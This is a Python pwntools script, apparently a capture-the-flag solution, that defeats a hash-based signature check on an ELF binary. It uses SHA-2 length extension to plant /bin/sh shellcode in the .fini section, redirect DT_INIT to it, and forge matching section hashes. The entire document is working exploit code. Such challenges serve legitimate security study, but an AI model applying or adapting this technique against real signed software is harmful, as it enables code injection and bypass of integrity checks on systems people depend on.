from pwn import *
context.arch = "amd64"
shellcode = asm(shellcraft.amd64.linux.sh())

import binascii, hashlib, struct

from elftools.elf.elffile import ELFFile

from sha2extend import *

def modify_binary(hashes_file="./test_hashes.txt"):
    binary = ELFFile(open("./signed_binary", "rb"))
    with open("./signed_binary", "rb") as f:
        binary_contents = bytearray(f.read())

    with open(hashes_file, "rb") as f:
        hashes = [x for x in f]

    key_len = 30

    fini_idx = binary.get_section_index(".fini")
    fini_off = binary.get_section(fini_idx).header.sh_offset
    fini_end_off = binary.get_section(fini_idx + 1).header.sh_offset
    fini_len = fini_end_off - fini_off

    init_array_idx = binary.get_section_index(".init_array")
    init_array_data = binary.get_section(init_array_idx).data()
    init_array_hash = hashes[init_array_idx + 3].split(b":")[1].decode().strip()

    fini_extension, new_fini_hash = hash_extend(len(init_array_data) + len("sXXYY") + key_len,
                                                init_array_hash, shellcode)
    fini_extension = init_array_data + fini_extension

    pad_len = fini_len - len(fini_extension)
    fini_extension, new_fini_hash = hash_extend(len(init_array_data) + len("sXXYY") + key_len,
                                                init_array_hash, shellcode + (b"\x00" * pad_len))
    fini_extension = init_array_data + fini_extension

    binary_contents[fini_off:fini_off+len(fini_extension)] = fini_extension
    hashes[fini_idx + 3] = (f"{init_array_idx+3}{init_array_idx:02X}".encode() + b"\x00:"
                            + binascii.hexlify(new_fini_hash) + b"\n")


    dynamic_idx = binary.get_section_index(".dynamic")
    dynamic_off = binary.get_section(dynamic_idx).header.sh_offset
    dynamic_data = bytearray(binary.get_section(dynamic_idx).data())
    dynamic_len = len(dynamic_data)

    for i in range(0, len(dynamic_data), 16):
        if dynamic_data[i:i+16] == (b"\x00" * 16):
            dynamic_data = dynamic_data[:i+16]
            break

    addr = binary.get_section(fini_idx).header.sh_addr + fini_extension.index(shellcode)

    for i in range(0, len(dynamic_data), 16):
        dyn = struct.unpack("<QQ", dynamic_data[i:i+16])
        if dyn[0] == 0xc:  # DT_INIT
            dynamic_data[i+8:i+16] = struct.pack("<Q", addr)
            break

    dynamic_data = b"\x00\x00\x00" + dynamic_data

    pltgot_idx = binary.get_section_index(".plt.got")
    pltgot_data = binary_contents[binary.get_section(pltgot_idx).header.sh_offset:
                                  binary.get_section(pltgot_idx+1).header.sh_offset]
    pltgot_hash = hashes[pltgot_idx + 3].split(b":")[1].decode().strip()

    dyn_extension, new_dyn_hash = hash_extend(len(pltgot_data) + len("sXXYY") + key_len,
                                               pltgot_hash, dynamic_data)
    dyn_extension = pltgot_data + dyn_extension

    padding_len = dynamic_len - len(dyn_extension)
    dyn_extension, new_dyn_hash = hash_extend(len(pltgot_data) + len("sXXYY") + key_len,
                                              pltgot_hash,
                                              dynamic_data + b"\x00"*padding_len)
    dyn_extension = pltgot_data + dyn_extension

    binary_contents[dynamic_off:dynamic_off+len(dyn_extension)] = dyn_extension
    hashes[dynamic_idx + 3] = (f"{pltgot_idx+3}{pltgot_idx:02X}".encode() + b"\x00:"
                            + binascii.hexlify(new_dyn_hash) + b"\n")

    with open("./signed_binary_modified", "wb") as f:
        f.write(binary_contents)

    with open(hashes_file + "_modified", "wb") as f:
        f.writelines(hashes)